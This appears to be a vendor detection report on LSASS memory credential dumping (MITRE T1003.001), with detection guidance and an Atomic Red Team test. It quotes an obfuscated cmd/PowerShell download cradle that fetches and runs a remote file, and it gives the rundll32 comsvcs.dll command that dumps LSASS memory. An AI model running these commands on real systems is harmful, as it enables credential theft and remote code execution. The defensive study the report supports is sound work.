Technique T1003.001

LSASS Memory

The Local Security Authority Subsystem Service (LSASS) is a boon for adversaries looking to steal sensitive credentials, with a little help from administrative tools such as ProcDump.


Parent technique rank


Organizations affected


Confirmed threats


Why do adversaries use LSASS Memory?

Adversaries commonly abuse the Local Security Authority Subsystem Service (LSASS) to dump credentials for privilege escalation, data theft, and lateral movement. The process is a juicy target for adversaries because of the sheer amount of sensitive information it stores in memory. Upon starting up, LSASS contains valuable authentication data such as:

  • encrypted passwords
  • NT hashes
  • LM hashes
  • Kerberos tickets

While there are a lot of different tools and techniques to abuse the LSASS process, adversaries will typically target this process first to obtain credentials. Post-exploitation frameworks like Cobalt Strike import and customize existing code from credential theft tools like Mimikatz that allow operators to easily access LSASS via existing beacons.

How do adversaries use LSASS Memory?

Adversaries will use a variety of different tools to dump or scan the process memory space of LSASS. After establishing control over their target, adversaries will typically remotely transfer this dump file onto their own command and control (C2) server to perform an offline password attack. Tools like Mimikatz are typically used on the compromised host to retrieve credentials from the static dump file or from live process memory. With these credentials, the adversary can then laterally move throughout the environment and accomplish their goals.

Over the last year, we’ve identified many different techniques leveraging LSASS. More often than not, adversaries drop and execute trusted administrative tools onto their target. The Sysinternals tool ProcDump continues to be the binary we observe most commonly.

A trusted Windows process like Task Manager (taskmgr.exe) is capable of dumping arbitrary process memory if executed under a privileged user account. It’s as simple as right-clicking on the LSASS process and hitting “Create Dump File.” The Create Dump File calls the MiniDumpWriteDump function implemented in the following DLLs: Dbghelp.dll and Dbgcore.dll.

Additionally, the Windows DLL Host (rundll32.exe) can execute the Windows native DLL comsvcs.dll, which exports a function called MiniDumpW. When this export function is called by Rundll32, adversaries can feed in a process ID such as LSASS and create a MiniDump file. These files are intended for developers to debug when applications crash and contain sensitive information like credentials.

Here are some tools we’ve observed accessing LSASS with different implementations of Mimikatz:

Emerging LSASS Memory tradecraft 

Adversaries have used and abused Mimikatz for years. It leverages multiple different techniques to steal credentials (not just from LSASS) and has been rewritten in many different languages, including Python, C#, and PowerShell. Discovering rogue Mimikatz processes can be tricky because, since its inception, defenders have only had to worry about detecting compiled binaries. Nowadays, Mimikatz has been incorporated into post-exploitation frameworks that have their own evasion tactics.

cmd /V/C"set N1=      }}{hctac};kaerb;iB$ metI-ekovnI;)iB$ ,dq$(eliFdaolnwoD.cAB${yrt{)tlm$ ni dq$(hcaerof;'exe.'+Kjm$+'\'+cilbup:vne$=iB$;'963' = Kjm$;)'@'(tilpS.'detcefni=l?php.suoici/lam/'=tlm$;tneilCbeW.teN tcejbo-wen=cAB$ llehsrewop&&for /L %R in (265;-1;0)do set ZR=!ZR!!N1:~%R,1!&&if %R==0 call %ZR:*ZR!=%

Looking at this command carefully, we can see it sets a variable named N1 to a string containing a PowerShell command that is reversed. There’s a For loop that reverses this string and executes it. The PowerShell command creates a download cradle to download a file and invokes it via a call to Invoke-Item.

While these obfuscated commands may evade simple, signature-based detections, analytics that look for commonly used obfuscation techniques, such as the presence of caret characters, can easily detect them. Layered detection analytics will also help. If a detection misses the obfuscated DOS commands, another detection may trigger on the PowerShell download cradle, the call to Invoke-Item, or a DNS lookup to an unusual domain.



Collection requirements

Process monitoring

One of the most reliable data sources is monitoring for cross process injection operations. Stacking and investigating which processes are injecting into LSASS can be a challenge. Depending on your enterprise software stack, you may need to tune your logic to rule out legitimate applications like antivirus (AV) solutions and password policy enforcement software. These applications have legitimate reasons to access and scan LSASS to enforce security controls.

The following data sources are readily available to audit and detect suspicious LSASS process access:

File monitoring

Another great telemetry source that should be monitored closely is the creation of dmp files. After dumping the memory space of LSASS, adversaries typically perform offline password attacks by leveraging a multitude of security tools and techniques. Certain memory dumping tools like Dumpert and SafetyKatz create predictable memory dumps by default in certain file paths that you can detect with high fidelity. As always though, the name and location of these files can be modified. Start with the default filenames and dive deeper into the behavior by detonating these tools in a controlled environment. On top of creating rules for specific tools, take a holistic look at what processes typically write dmp files and narrow down your logic from there.

Network connections

Network connections and child process data may also be reliable indicators of malicious code injected into LSASS. It’s rare for LSASS to execute child processes such as wmiprvse.exe, cmd.exe, and powershell.exe, which may spawn because of malicious code injection. On top of child processes, LSASS establishes many internal network connections over ports 135, 445, and 88 to handle authentication with internal network services.

Detection opportunities

The days of detecting Mimikatz via traditional methods like AV, common command-line arguments, and binary metadata are far behind us. Instead, start at a high level and gather what normal LSASS activity looks like before writing detection logic around abnormal behavior.


Rather than detecting on specific tools, we recommend establishing what “normal” LSASS memory access looks like within your environment. In doing so, you can tune out normal usage and detect on any previously unknown tools or techniques an adversary might use. To investigate this, start broad and narrow down your detection logic.

Suspicious injection into LSASS

A detection analytic that has the potential to exhibit a high signal-to-noise ratio is to look for instances of powershell.exe or rundll32.exe that obtain a handle to LSASS. Under normal circumstances (assuming minor tuning), this behavior is rarely observed. We have detected post-exploitation frameworks such as Cobalt Strike and PowerShell Empire with such logic during numerous incident response engagements and red team simulations. Examples of data sources that raise handle access events are Sysmon Process Access events and Event ID 4656 in the security Event Log in Windows 10.

Detection should not be limited to these three processes. As you’re formulating a hypothesis about what constitutes normal and abnormal LSASS memory injection, take into consideration any patterns you may observe. Ask yourself:

  • Are false positives being generated by processes located in certain process paths?
  • Are there some common characteristics of these processes we can identify and exclude?
  • Which processes are typically being targeted by threats in the wild?


As is discussed in the analysis section above, adversaries can create a MiniDump file containing credentials by using Rundll32 to execute the MiniDumpW function in comsvcs.dll and feeding it the LSASS process ID. To detect this behavior, you can monitor for the execution of a process that seems to be rundll32.exe along with a command line containing the term minidump.

Weeding out false positives

LSASS establishes a lot of cross process memory injection stemming from itself. We identify far fewer false positives from processes injecting into LSASS. Some password-protection products will scan LSASS to evaluate user passwords. If approved by your help desk or IT support, these applications should be added to an allowlist as part of a continuous tuning process.

We don’t expect any raw data source to return a high false positive rate in itself. Detection logic should always be routinely maintained with constant tuning to prevent alert overload. Your analytics should act as a living, breathing code repository with frequent, on-the-fly adjustments to navigate your evolving environment.


Getting Started With Atomic Red Team

Start testing your defenses against LSASS Memory using Atomic Red Team—an open source testing framework of small, highly portable detection tests mapped to MITRE ATT&CK.

Getting started

View atomic tests for T1003.001: LSASS Memory. In most environments, these should be sufficient to generate a useful signal for defenders.

Run this test on a Windows system using an elevated PowerShell prompt:
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ((Get-Process lsass).Id) C:\Windows\Temp\lsass.dmp full

What to expect

rundll32.exe will write a full lsass.exe process dump to C:\Windows\Temp\lsass.dmp. Running from an elevated PowerShell prompt will automatically populate the lsass.exe process ID, so that it doesn’t have to be entered manually.

Useful telemetry will include:
Data sourceTelemetry
Data source:

Process monitoring


A rundll32.exe process will start.

Data source:

Process command-line parameters


Command-line logging will capture the context of what is executed.

Data source:

DLL monitoring


comsvcs.dll will load in the rundll32.exe process.

Data source:

File monitoring


rundll32.exe will write the lsass.exe process dump to C:\Windows\Temp\lsass.dmp.

Data source:

Windows event logs


Event log entries related to obtaining a handle to lsass.exe:

Review and repeat

Now that you have executed one or several common tests and checked for the expected results, it’s useful to answer some immediate questions:

  • Were any of your actions detected?
  • Were any of your actions blocked or prevented?
  • Were your actions visible in logs or other defensive telemetry?

Repeat this process, performing additional tests related to this technique. You can also create and contribute tests of your own.

Justin Schoenfeld
Detection Engineer
Justin works on the Detection Engineering team, which is responsible for threat detection and intelligence research. He gained his B.A. in Computing Security from the Rochester Institute of Technology, where he had the opportunity to co-op for a large corporation and a startup company. His love for endpoint telemetry came from his experience as an advanced threat engineer for a large global hospitality company. Justin is experienced in threat hunting, incident response, and researching industry-wide threat intelligence.
Justin works on the Detection Engineering team, which is responsible for threat detection and intelligence research. He gained his B.A. in Computing Security from the Rochester Institute of Technology, where he had the opportunity to co-op for a large corporation and a startup company. His love for endpoint telemetry came from his experience as an advanced threat engineer for a large global hospitality company. Justin is experienced in threat hunting, incident response, and researching industry-wide threat intelligence.